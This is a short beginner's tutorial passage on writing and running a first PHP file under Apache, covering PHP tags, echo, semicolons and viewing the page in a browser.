By default, Apache will execute PHP embedded into any file with a .php extension. Create a new file called, for example, my-first.php and enter the following:

<?php
echo 'My first PHP file!';
?>

The ‘<?php’ and ‘?>’ are the opening and closing tags respectively. By default, PHP uses an XML style syntax to denote where your PHP starts and stops. Anything outside these tags is sent to the browser verbatim. You could have HTML markup outside these tags for example.

Anything within the tags is intercepted by the PHP engine before the page is sent to the browser. In this case, the ‘echo’ causes the content inbetween the single quotes to be sent to the browser. Note the semicolon at the end of the line – PHP uses the semicolon to signify the end of the line. It’s a very common mistake to leave out the semicolon, which is why using a good editor like netbeans will highlight the mistake for you.

To run your first PHP script, you’ll need to put it on your server. This will mean copying it to your document root, or uploading it using FTP. Once the file is in place, you should be able to run it by going to http://localhost/my-first.php if it is on your local machine, or http://whatever-your-host-is.com/my-first.php if you’re hosting it somewhere remotely.

If all went to plan, you should see a blank page with the text ‘My first PHP file!’ on it. It’s not much, but an important first step into the world of the dynamic web.